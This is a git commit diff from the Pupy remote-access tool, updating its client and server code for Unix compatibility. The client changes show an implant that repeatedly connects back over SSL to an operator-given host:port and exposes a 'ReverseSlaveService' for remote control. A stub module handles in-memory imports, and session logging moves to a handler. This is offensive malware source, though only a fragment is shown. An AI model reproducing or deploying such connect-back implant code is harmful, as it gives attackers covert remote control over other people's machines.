merge+unix compatibility

This commit is contained in:
n1nj4sec 2015-09-22 23:21:55 +02:00
parent 252f24ea30
commit 8850046144
3 changed files with 28 additions and 9 deletions

View File

@ -22,6 +22,7 @@ import platform
import re
import ssl
import random
import imp
class ReverseSlaveService(Service):
@ -68,9 +69,19 @@ def get_next_wait(attempt):
else:
return random.randint(15,30)
def add_pseudo_pupy_module(HOST):
if not "pupy" in sys.modules:
mod = imp.new_module("pupyimporter")
mod.__name__="pupy"
mod.__file__="<memimport>\\\\pupyimporter"
mod.__package__="pupy"
sys.modules["pupy"]=mod
mod.get_connect_back_host=(lambda : HOST)
mod.pseudo=True
def main():
HOST="127.0.0.1:443"
if "win" in platform.system().lower():
if "windows" in platform.system().lower():
try:
import pupy
HOST=pupy.get_connect_back_host()
@ -79,6 +90,8 @@ def main():
if len(sys.argv)!=2:
exit("usage: %s host:port"%sys.argv[0])
HOST=sys.argv[1]
else:
add_pseudo_pupy_module(HOST)
attempt=0
while True:
try:
@ -89,7 +102,6 @@ def main():
rport=int(tab[1])
else:
rport=443
print "connecting to %s:%s"%(rhost,rport)
conn=rpyc.ssl_connect(rhost, rport, service = ReverseSlaveService)
while True:

View File

@ -26,7 +26,8 @@ except ImportError:
modules={}
try:
import pupy
modules = marshal.loads(zlib.decompress(pupy._get_compressed_library_string()))
if not (hasattr(pupy, 'pseudo') and pupy.pseudo):
modules = marshal.loads(zlib.decompress(pupy._get_compressed_library_string()))
except ImportError:
#modules = marshal.loads(zlib.decompress(open("resources\\library_compressed_string.txt",'rb').read()))
pass

View File

@ -48,6 +48,11 @@ class PupyServer(threading.Thread):
self.config.read(configFile)
self.port=self.config.getint("pupyd","port")
self.address=self.config.get("pupyd","address")
self.handler=None
def register_handler(self, instance):
""" register the handler instance, typically a PupyCmd, and PupyWeb in the futur"""
self.handler=instance
def add_client(self, conn):
with self.clients_lock:
@ -130,11 +135,11 @@ class PupyServer(threading.Thread):
"address" : conn._conn._config['connid'].split(':')[0],
}, self))
addr = conn.modules['pupy'].get_connect_back_host()
server_ip, server_port = addr.rsplit(':', 1)
client_ip, client_port = conn._conn._config['connid'].split(':')
print color_real('[*]', 'blue'), "Session {} opened ({}:{} -> {}:{})".format(self.current_id, server_ip, server_port, client_ip, client_port)
if self.handler:
addr = conn.modules['pupy'].get_connect_back_host()
server_ip, server_port = addr.rsplit(':', 1)
client_ip, client_port = conn._conn._config['connid'].split(':')
self.handler.display_srvinfo("Session {} opened ({}:{} <- {}:{})".format(self.current_id, server_ip, server_port, client_ip, client_port))
self.current_id += 1
@ -142,7 +147,8 @@ class PupyServer(threading.Thread):
with self.clients_lock:
for i,c in enumerate(self.clients):
if c.conn is client:
print color_real('[*]', 'blue'), 'Session {} closed'.format(self.clients[i].desc['id'])
if self.handler:
self.handler.display_srvinfo('Session {} closed'.format(self.clients[i].desc['id']))
del self.clients[i]
break